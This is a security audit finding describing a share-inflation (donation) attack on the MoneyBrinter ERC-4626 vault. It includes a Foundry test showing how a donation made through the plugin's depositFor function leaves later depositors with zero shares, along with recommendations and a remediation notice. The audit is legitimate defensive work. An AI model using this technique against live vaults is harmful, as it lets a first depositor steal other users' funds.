Description

The MoneyBrinter contract is a yield-bearing ERC-4626 vault. Due to missing defenses, it is possible to manipulate the exchange rate of shares to underlying assets during deposits to cause loss of user funds.

When depositing, the conversion of underlying assets to shares behaves as follows:

function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) {
    return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);
}

If the assets * (totalSupply() + 10 ** _decimalOffset) < totalAsset + 1, this will lead to cases where the resultant shares == 0 while safeTransferFrom(_asset, caller, address(this), assets) succeeds. Assets will be transferred from the depositor, while the depositor is not credited any ownership of future yield.

MoneyBrinter partially prevents direct deposits to the vault by only counting assets as _totalAssets = IPlugin(beradromeFarmPlugin).balanceOf(address(this)). However, the BeradromeFarmPlugin provides depositFor↗, allowing deposits on behalf of a user. This allows us to arbitrarily inflate the denominator of the share calculation. The first depositor can purchase one share, subsequently donating sufficient assets to the Beradrome farm and deflating subsequent depositors. The attacker can eventually claim their donation back as they are the only shareholder.

The following test case illustrates the behavior described:

function testDepositInflationAttack(uint256 depositAmount) public {
        depositAmount = bound(depositAmount, 1, 10e6 ether);
        uint256 expectedShares = vault.previewDeposit(depositAmount);
        
        fundUser(bob, depositAmount);
        approveToVault(bob, depositAmount);
        console.log("vault.totalSupply()", vault.totalSupply());

        console.log("asset.balanceOf(address(vault))", asset.balanceOf(address(vault)));
        vm.startPrank(alice);
        asset.approve(address(vault.beradromeFarmPlugin()), depositAmount * 2);
        IPlugin(vault.beradromeFarmPlugin()).depositFor(address(vault), depositAmount * 2);
        vm.stopPrank();
        console.log("vault.totalSupply()", vault.totalSupply());
        console.log("asset.balanceOf(address(vault))", asset.balanceOf(address(vault)));

        depositIntoVaultAndVerify(bob, depositAmount, expectedShares, true, ""); // Reverts due to 0 shares being minted
    }

Impact

First depositors are able to steal all funds from subsequent depositors.

Recommendations

We recommend using _decimalOffset overrides as a way to minimize the likelihood of this issue being exploited. Alternative strategies could involve an internally tracked deposits variable that prevents assets from being inflated through stealth deposits, and the use of a trusted first depositor.

Remediation

This issue has been acknowledged by Sanguine Labs LTD, and a fix was implemented in commit 26fd3cb4↗.